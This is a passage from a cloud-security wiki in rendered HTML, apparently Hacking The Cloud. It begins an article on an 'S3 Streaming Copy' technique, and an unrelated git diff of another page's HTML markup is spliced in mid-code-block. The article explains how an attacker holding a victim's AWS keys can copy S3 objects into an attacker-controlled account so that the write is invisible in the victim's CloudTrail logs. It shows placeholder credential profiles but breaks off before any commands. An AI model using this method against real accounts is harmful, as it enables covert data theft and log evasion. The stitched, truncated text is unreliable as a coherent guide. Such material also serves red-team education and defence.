<li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Houston Hopkins</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/s3_streaming_copy.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=s3-streaming-copy>S3 Streaming Copy<a class=headerlink href=#s3-streaming-copy title="Permanent link">&para;</a></h1> <p>Shout Out to Janardhan Prabhakara for showing me this all those years ago!</p> <p>Requirements: a shell, terminal session, command prompt, a victim's AWS Access Key or STS token, an attacker AWS key and bucket to land in a separate account.</p> <p>Why would anyone use this?</p> <p>In many environments AWS to AWS traffic is largely unfiltered and voluminous. As well, an attacker may find a key that can perform GetObject action on S3, but not PutObject. Or perhaphs, more likely, an attacker would like to hide their exfiltration commands. </p> <p>If an attacker lands a shell on an EC2 Instance of the victim, any issued aws commands will be coming from an expected/trusted network which is even less likely to be detected. However, S3 Streaming Copy techniques can also be used from any terminal with aws-cli.</p> <p>When this attack is perfomed the S3 GetObject call is recorded in the VICTIM cloudtrail dataevents (if enabled, which is unlikley) But, the S3 PutObject call is recorded in the ATTACKER's cloudtrail. The VICTIM cannot see the S3 PutObject side of the copy in AWS Cloudtrail.</p> <p>When using the aws-cli utilize the <code>--profile</code> to specify the IAM context profile from the .aws/credentials file.</p> <p>Step 1: setup an profile in .aws/credentials for the ATTACKER credentials. These are credentials from your attacker controlled account aka not the victims credentials <div class=highlight><pre><span></span><code>[attacker]
 aws_access_key_id = &lt;attacker_key_id&gt;
 aws_secret_access_key = &lt;attacker_secret_key&gt;
 </code></pre></div></p> <p>Step 2: Create a profile for the VICTIM credentials. These are the keys attained with access to the victim's AWS enviornment. </p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>This step is optional if using a shell on a VICTIM EC2, running an EC2 instance profile that has the permissions to test.</p> </div> <div class=highlight><pre><span></span><code>[victim]
diff --git a/aws/general-knowledge/aws_cli_tips_and_tricks/index.html b/aws/general-knowledge/aws_cli_tips_and_tricks/index.html
index f3c556a0a..1d93e2a18 100644
--- a/aws/general-knowledge/aws_cli_tips_and_tricks/index.html
+++ b/aws/general-knowledge/aws_cli_tips_and_tricks/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="A collection of tips and tricks for using the AWS CLI."><link href=https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/ rel=canonical><link rel=prev href=../../..><link href=../aws_organizations_defaults/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>AWS CLI Tips and Tricks - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="AWS CLI Tips and Tricks - Hacking The Cloud"><meta property=og:description content="A collection of tips and tricks for using the AWS CLI."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_cli_tips_and_tricks.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="AWS CLI Tips and Tricks - Hacking The Cloud"><meta property=twitter:description content="A collection of tips and tricks for using the AWS CLI."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_cli_tips_and_tricks.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="A collection of tips and tricks for using the AWS CLI."><link href=https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/ rel=canonical><link rel=prev href=../../..><link href=../aws_organizations_defaults/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>AWS CLI Tips and Tricks - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="AWS CLI Tips and Tricks - Hacking The Cloud"><meta property=og:description content="A collection of tips and tricks for using the AWS CLI."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_cli_tips_and_tricks.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="AWS CLI Tips and Tricks - Hacking The Cloud"><meta property=twitter:description content="A collection of tips and tricks for using the AWS CLI."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_cli_tips_and_tricks.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#aws-cli-tips-and-tricks class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=./ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1 checked> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=true> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#standard-inputoutput-redirection-with- class=md-nav__link> <span class=md-ellipsis> Standard Input/Output Redirection with "-" </span> </a> <nav class=md-nav aria-label="Standard Input/Output Redirection with " -&quot;&quot;> <ul class=md-nav__list> <li class=md-nav__item> <a href=#reading-from-s3 class=md-nav__link> <span class=md-ellipsis> Reading from S3 </span> </a> </li> <li class=md-nav__item> <a href=#writing-to-s3 class=md-nav__link> <span class=md-ellipsis> Writing to S3 </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#modifying-the-cloudtrail-log-user-agent-with-aws_execution_env class=md-nav__link> <span class=md-ellipsis> Modifying the CloudTrail Log User-Agent with AWS_EXECUTION_ENV </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li 